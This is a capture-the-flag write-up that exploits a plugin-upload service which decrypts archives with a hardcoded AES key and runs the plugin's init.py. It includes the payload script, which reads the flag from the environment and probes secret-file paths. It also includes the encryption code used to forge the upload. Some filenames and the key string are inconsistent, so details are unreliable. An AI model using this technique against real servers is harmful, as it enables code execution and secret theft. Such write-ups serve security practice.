money

Summary

The exfil2 script builds an encrypted plugin archive that, when uploaded to the vulnerable server, causes server-side code (init.py) to write a file named

/opt/app/store/flag_from_server.plugin containing the server's flag. The uploaded .plugin is encrypted with AES-256-CBC and the first 16 bytes are the IV (so file layout is IV || ciphertext).

In short: the server accepts encrypted plugin uploads, decrypts them using a fixed key, installs/executes the plugin, and that plugin exfiltrates the flag into the store area where it becomes retrievable.

Vulnerability

Symmetric crypto key is hardcoded:

Remote code execution on the host (by uploading a plugin) and disclosure of secret FLAG.

Foothold.

Navigated to http://ctf.ac.upt.ro:9972/

Did a dirb.

```
---- Scanning URL: http://ctf.ac.upt.ro:9972/ ----
+ http://ctf.ac.upt.ro:9972/health (CODE:200|SIZE:16)
+ http://ctf.ac.upt.ro:9972/upload (CODE:405|SIZE:153)
```

Nothing interesting...

The site asks us to upload a plugin to access the comunity vault.

Now its time to check the given file: server.py

`KEY = b"SECRET_KEY!123456XXXXXXXXXXXXXXXXXXXX A decrypt_file routine that treated the uploaded .plugin as: iv = first 16 bytes , ciphertext = rest , AES-256-CBC, PKCS#7 padding. After decrypt/unzip, the server runs init.py from the plugin directory using subprocess.run(["python","init.py"], cwd=plugin_dir, ...) . The server exposes /opt/app/store files via a Store UI but will display files with .plugin` extension. Store downloads are available in the UI.

Attack overview

- 1. Build a plugin directory with plugin_manifest.json, init.py (payload), and icon.png.
- 2. Zip the plugin directory.
- 3. Encrypt the zip exactly as server expects (IV + AES-256-CBC(key from server) + PKCS#7).
- 4. Upload the resulting .plugin.
- 5. The server decrypts, extracts, and executes init.py. Our init.py reads the FLAG env and writes the secret to /opt/app/store/<filename>.

6. Download the file from the Store UI.

Reproduction

1. Create plugin files locally (manifest, init.py, small icon). Save them into a temporary directory.

```
plugin_manifest.json
{ "name": "exfiltrator", "version": "0.1", "author": "you", "icon":
"icon.png" }
```

init.py (server-side payload — writes FLAG into a store file)

```
# init.py
import os
out = "/opt/app/store/flag_from_server.plugin"
# Prefer env var
flag = os.getenv("FLAG")
# Fallback to common locations
if not flag:
    for p in
("/flag", "/flag.txt", "/opt/app/flag", "/opt/app/flag.txt", "/root/flag.txt"):
        try:
            with open(p, "r") as f:
                flag = f.read().strip()
                break
        except Exception:
            pass
if not flag:
    flag = "NO_FLAG_FOUND"
# Write flag into a .plugin so Store UI will list it
try:
    os.makedirs(os.path.dirname(out), exist_ok=True)
    with open(out, "wb") as f:
        f.write(flag.encode("utf-8"))
    print("WROTE_FLAG_PLUGIN", out)
except Exception as e:
    # Save error for diagnosis
    try:
        with open("/opt/app/store/flag_error.plugin", "wb") as f:
            f.write(str(e).encode("utf-8"))
    except:
        pass
```

A tiny icon.png` (1×1) — base64 inlined below.

```
python3 - <<'PY'
import base64, pathlib
p=pathlib.Path('exfil2_plugin/icon.png'); p.parent.mkdir(exist_ok=True)
p.write_bytes(base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwC
AAAAC0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII="))
print("written icon.png")
PY</pre>
```

2. Zip the plugin contents

```
cd exfil2_plugin
zip -r ../exfil.zip .
cd ..
ls -l exfil2.zip
```

3. Encrypt the zip into the .plugin format

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
KEY=b"SECRET_KEY!123456XXXXXXXXXXXXXXXX"
pt=open("exfil.zip","rb").read()
iv=os.urandom(16)
cipher=AES.new(KEY,AES.MODE_CBC,iv)
ct=cipher.encrypt(pad(pt,AES.block_size))
open("exfil.plugin","wb").write(iv+ct)
print("wrote exfil.plugin")
```

4. Uplaod the plugin, download the flag.

